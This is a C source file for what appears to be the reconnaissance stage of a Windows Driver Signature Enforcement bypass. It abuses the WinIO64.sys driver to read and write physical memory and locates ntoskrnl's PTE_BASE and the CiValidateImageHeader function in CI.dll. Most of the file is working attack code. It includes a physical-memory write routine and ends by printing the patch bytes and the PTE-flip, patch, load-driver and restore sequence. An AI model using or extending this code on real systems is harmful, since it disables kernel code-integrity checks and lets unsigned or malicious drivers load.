/*
 * ci_probe.c -- locate CiValidateImageHeader, read its bytes and PTE state
 *
 * Read-only diagnostic. Scans for CiValidateImageHeader in CI.dll,
 * extracts PTE_BASE from MiGetPteAddress, and reports the function's
 * virtual address, PTE virtual address, current function bytes, and
 * PTE value. Nothing is written.
 *
 * For the patch/restore sequence (PTE flip + 6-byte patch + SCM load),
 * see https://dkom.dev/posts/dse-ci-patch/
 *
 * Requirements:
 *   - WinIO64.sys loaded as a kernel service (load it yourself)
 *   - Administrator privileges
 *   - Windows 10 22H2 or Windows 11 23H2/24H2
 *   - HVCI disabled (WinIO cannot map kernel code pages under HVCI)
 *
 * Build:
 *   cl ci_probe.c /W3 /O2 /link /subsystem:console kernel32.lib
 */

#include "ci_probe.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* ------------------------------------------------------------------ */
/* NtQuerySystemInformation shim                                       */
/* ------------------------------------------------------------------ */

typedef long NTSTATUS;
#define STATUS_SUCCESS              ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct {
    HANDLE Section;
    PVOID  MappedBase;
    PVOID  ImageBase;
    ULONG  ImageSize;
    ULONG  Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[256];
} MODULE_INFO;

typedef struct {
    ULONG       NumberOfModules;
    MODULE_INFO Modules[1];
} MODULE_LIST;

typedef NTSTATUS (WINAPI *pfnNtQSI)(ULONG, PVOID, ULONG, PULONG);
static pfnNtQSI NtQSI;

static int ntqsi_init(void)
{
    NtQSI = (pfnNtQSI)GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                     "NtQuerySystemInformation");
    return NtQSI != NULL;
}

/* ------------------------------------------------------------------ */
/* WinIO physical memory                                               */
/* ------------------------------------------------------------------ */

HANDLE g_winio = INVALID_HANDLE_VALUE;

int winio_open(void)
{
    g_winio = CreateFileA("\\\\.\\WinIO",
                          GENERIC_READ | GENERIC_WRITE,
                          0, NULL, OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL, NULL);
    return g_winio != INVALID_HANDLE_VALUE;
}

void winio_close(void)
{
    if (g_winio != INVALID_HANDLE_VALUE) CloseHandle(g_winio);
    g_winio = INVALID_HANDLE_VALUE;
}

/*
 * phys_map / phys_unmap: WinIO maps one physical page (0x1000 bytes)
 * at a time into user space via a section object.
 */
static int phys_io(int do_write, u64 pa, void *buf, u64 len)
{
    if (len > 0x1000 || (pa & 0xfff) + len > 0x1000) return 0;

    struct winio_packet pkt = {0};
    pkt.size         = 0x1000;
    pkt.phys_address = pa & ~(u64)0xfff;

    DWORD ret = 0;
    if (!DeviceIoControl(g_winio, IOCTL_WINIO_MAP_PHYSMEM,
                         &pkt, sizeof(pkt),
                         &pkt, sizeof(pkt), &ret, NULL))
        return 0;

    u8 *mapped = (u8 *)(uintptr_t)pkt.phys_linear + (pa & 0xfff);
    if (do_write)
        memcpy(mapped, buf, (size_t)len);
    else
        memcpy(buf, mapped, (size_t)len);

    pkt.phys_address = pa & ~(u64)0xfff;
    DeviceIoControl(g_winio, IOCTL_WINIO_UNMAP_PHYSMEM,
                    &pkt, sizeof(pkt),
                    &pkt, sizeof(pkt), &ret, NULL);
    return 1;
}

int read_phys(u64 pa, void *buf, u64 len)  { return phys_io(0, pa, buf, len); }
int write_phys(u64 pa, const void *buf, u64 len) { return phys_io(1, pa, (void *)buf, len); }

/* ------------------------------------------------------------------ */
/* Kernel module VA base                                               */
/* ------------------------------------------------------------------ */

u64 get_kernel_module_va(const char *name)
{
    ULONG   sz = 0;
    void   *buf = NULL;
    NTSTATUS st;

    do {
        VirtualFree(buf, 0, MEM_RELEASE);
        buf = VirtualAlloc(NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!buf) return 0;
        st = NtQSI(11 /* SystemModuleInformation */, buf, sz, &sz);
    } while (st == STATUS_INFO_LENGTH_MISMATCH);

    u64 result = 0;
    if (st == STATUS_SUCCESS) {
        MODULE_LIST *mods = (MODULE_LIST *)buf;
        for (ULONG i = 0; i < mods->NumberOfModules; i++) {
            char *fn = (char *)mods->Modules[i].FullPathName
                       + mods->Modules[i].OffsetToFileName;
            if (!_stricmp(fn, name)) {
                result = (u64)(uintptr_t)mods->Modules[i].ImageBase;
                break;
            }
        }
    }
    VirtualFree(buf, 0, MEM_RELEASE);
    return result;
}

/* ------------------------------------------------------------------ */
/* SEC_IMAGE file mapping                                              */
/* ------------------------------------------------------------------ */

void *map_file_image(const char *path)
{
    HANDLE fh = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
                            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (fh == INVALID_HANDLE_VALUE) return NULL;

    HANDLE fm = CreateFileMappingA(fh, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    CloseHandle(fh);
    if (!fm) return NULL;

    void *view = MapViewOfFile(fm, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(fm);
    return view;
}

/* ------------------------------------------------------------------ */
/* Byte pattern scanner                                                */
/* ------------------------------------------------------------------ */

const u8 *scan_sig(const u8 *buf, size_t blen, const u8 *sig, size_t slen)
{
    if (slen > blen) return NULL;
    for (size_t i = 0; i <= blen - slen; i++)
        if (memcmp(buf + i, sig, slen) == 0)
            return buf + i;
    return NULL;
}

/* ------------------------------------------------------------------ */
/* Find ntoskrnl physical base: scan in 2 MB steps                    */
/* ------------------------------------------------------------------ */

u64 find_ntoskrnl_pa(void)
{
    for (u64 pa = 0; pa < 0x200000000ULL; pa += 0x200000) {
        u8 hdr[2] = {0};
        if (read_phys(pa, hdr, 2) && hdr[0] == 'M' && hdr[1] == 'Z')
            return pa;
    }
    return 0;
}

/* ------------------------------------------------------------------ */
/* Extract PTE_BASE from MiGetPteAddress in physical ntoskrnl memory  */
/* ------------------------------------------------------------------ */

u64 find_pte_base(u64 ntos_pa)
{
    /*
     * MiGetPteAddress starts with:
     *   48 C1 E9 09    shr rcx, 9
     *   48 B8 ?? ...   mov rax, <PTE_BASE>   <- the 8-byte immediate we want
     *
     * Scan up to 8 MB of ntoskrnl in 4 KB page-sized reads.
     * PTE_BASE is filled in by the memory manager at boot; the on-disk
     * binary has zeros there, so reading from physical memory is required.
     */
    static const u8 pat[] = {0x48, 0xC1, 0xE9, 0x09, 0x48, 0xB8};
    u8 page[0x1000];

    for (u64 off = 0; off < 0x800000; off += sizeof(page)) {
        if (!read_phys(ntos_pa + off, page, sizeof(page)))
            continue;

        const u8 *hit = scan_sig(page, sizeof(page), pat, sizeof(pat));
        if (!hit) continue;

        /* immediate follows the 6-byte prefix; must not straddle the page */
        if (hit + sizeof(pat) + 8 > page + sizeof(page)) continue;

        u64 pte_base = 0;
        memcpy(&pte_base, hit + sizeof(pat), 8);
        if (pte_base) return pte_base;
    }
    return 0;
}

/* ------------------------------------------------------------------ */
/* PTE virtual address for a kernel VA (MiGetPteAddress arithmetic)   */
/* ------------------------------------------------------------------ */

u64 pte_va_for(u64 pte_base, u64 va)
{
    va  = va >> 9;
    va &= 0x7FFFFFFFF8ULL;
    va += pte_base;
    return va;
}

/*
 * pte_pa_for -- physical address of the PTE for `va`.
 *
 * Requires a page-table walk: we need the PA of the page-table page
 * that contains the PTE, which in turn requires walking PML4 -> PDPT
 * -> PD -> PT. The self-map (pte_base) gives us VAs for every level,
 * but those VAs still need PA resolution via WinIO.
 *
 * The walk is straightforward but verbose. It is not implemented here;
 * the post at https://dkom.dev/posts/dse-ci-patch/ describes it.
 * Wire it up and you have the physical address needed for write_phys.
 */
static u64 pte_pa_for(u64 pte_base, u64 va, u64 ntos_va, u64 ntos_pa)
{
    (void)pte_base; (void)va; (void)ntos_va; (void)ntos_pa;
    return 0; /* stub -- see note above */
}

/* ------------------------------------------------------------------ */
/* main                                                                */
/* ------------------------------------------------------------------ */

int main(void)
{
    if (!ntqsi_init()) {
        fprintf(stderr, "[-] failed to resolve NtQuerySystemInformation\n");
        return 1;
    }

    if (!winio_open()) {
        fprintf(stderr, "[-] could not open \\\\.\\WinIO  (WinIO64.sys loaded?)\n");
        return 1;
    }

    printf("[*] ci_probe -- CiValidateImageHeader locator\n\n");

    /* --- kernel VA bases ------------------------------------------- */
    u64 ntos_va = get_kernel_module_va("ntoskrnl.exe");
    u64 ci_va   = get_kernel_module_va("CI.dll");
    if (!ntos_va || !ci_va) {
        fprintf(stderr, "[-] NtQuerySystemInformation: module not found\n");
        winio_close(); return 1;
    }
    printf("[*] ntoskrnl.exe VA base  : 0x%016llx\n", ntos_va);
    printf("[*] CI.dll       VA base  : 0x%016llx\n", ci_va);

    /* --- ntoskrnl physical base ------------------------------------ */
    printf("[*] scanning physical memory for ntoskrnl MZ...\n");
    u64 ntos_pa = find_ntoskrnl_pa();
    if (!ntos_pa) {
        fprintf(stderr, "[-] ntoskrnl not found in physical memory\n");
        winio_close(); return 1;
    }
    printf("[*] ntoskrnl.exe PA base  : 0x%016llx\n", ntos_pa);

    /* --- PTE_BASE from MiGetPteAddress ----------------------------- */
    printf("[*] extracting PTE_BASE from MiGetPteAddress...\n");
    u64 pte_base = find_pte_base(ntos_pa);
    if (!pte_base) {
        fprintf(stderr, "[-] MiGetPteAddress pattern not found -- wrong build?\n");
        winio_close(); return 1;
    }
    printf("[*] PTE_BASE              : 0x%016llx\n", pte_base);

    /* --- find CiValidateImageHeader in CI.dll on disk -------------- */
    char ci_path[MAX_PATH];
    GetSystemDirectoryA(ci_path, sizeof(ci_path));
    strncat(ci_path, "\\CI.dll", sizeof(ci_path) - strlen(ci_path) - 1);

    u8 *ci_img = (u8 *)map_file_image(ci_path);
    if (!ci_img) {
        fprintf(stderr, "[-] failed to map %s\n", ci_path);
        winio_close(); return 1;
    }

    /*
     * CiValidateImageHeader prologue (Win10 22H2, Win11 23H2/24H2).
     * The match lands 0x23 bytes into the prologue; subtract to reach
     * the function entry point.
     */
    static const u8 ci_sig[] = {
        0x48, 0x89, 0x5C, 0x24, 0x20,   /* mov [rsp+20h], rbx */
        0x55,                             /* push rbp           */
        0x56,                             /* push rsi           */
        0x57                              /* push rdi           */
    };
    static const int CI_SIG_BACK = 0x23;

    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)ci_img;
    IMAGE_NT_HEADERS *nt  = (IMAGE_NT_HEADERS *)(ci_img + dos->e_lfanew);
    size_t ci_imgsize = nt->OptionalHeader.SizeOfImage;

    const u8 *hit = scan_sig(ci_img, ci_imgsize, ci_sig, sizeof(ci_sig));
    if (!hit) {
        fprintf(stderr, "[-] CiValidateImageHeader signature not found\n"
                        "    Signature may differ on this build -- verify in a disassembler.\n");
        UnmapViewOfFile(ci_img);
        winio_close(); return 1;
    }

    u64 ci_fn_offset = (u64)(hit - ci_img) - CI_SIG_BACK;
    u64 target_va    = ci_va + ci_fn_offset;

    printf("[*] CiValidateImageHeader : 0x%016llx  (CI.dll+0x%llx)\n",
           target_va, ci_fn_offset);

    UnmapViewOfFile(ci_img);

    /* --- PTE virtual address --------------------------------------- */
    u64 pte_va = pte_va_for(pte_base, target_va);
    printf("[*] PTE VA (self-map)     : 0x%016llx\n", pte_va);

    /*
     * Reading the PTE value and function bytes requires translating
     * pte_va and target_va to physical addresses via a page-table walk.
     * The walk chains pte_va_for() through PML4 -> PDPT -> PD -> PT,
     * reading each level via read_phys(). pte_pa_for() above is the
     * stub to fill in -- the post walks through it.
     */
    u64 pte_pa = pte_pa_for(pte_base, target_va, ntos_va, ntos_pa);
    if (pte_pa) {
        u64 pte_val = 0;
        if (read_phys(pte_pa, &pte_val, sizeof(pte_val))) {
            printf("[*] PTE value             : 0x%016llx"
                   "  (writable=%d, nx=%d)\n",
                   pte_val,
                   (int)((pte_val >> 1) & 1),
                   (int)((pte_val >> 63) & 1));
        }

        u64 target_pa = ((pte_val >> 12) & 0xFFFFFFFFFULL) << 12
                        | (target_va & 0xfff);
        u8 current[8] = {0};
        if (read_phys(target_pa, current, sizeof(current))) {
            printf("[*] current bytes         : ");
            for (int i = 0; i < 8; i++) printf("%02x ", current[i]);
            printf("\n");
        }
    } else {
        printf("[*] PTE PA                : (page-table walk not implemented)\n");
        printf("[*] current bytes         : (requires PA -- see post)\n");
    }

    /* --- probe complete -------------------------------------------- */
    printf("\n");
    printf("[i] probe complete -- nothing written\n");
    printf("[i] patch target  : 0x%016llx\n", target_va);
    printf("[i] patch bytes   : b8 00 00 00 00 c3  (mov eax, 0; ret)\n");
    printf("[i] restore then  : flip PTE R/W bit, write patch, load driver, restore bytes, clear PTE bit\n");
    printf("[i] full sequence : https://dkom.dev/posts/dse-ci-patch/\n");

    winio_close();
    return 0;
}
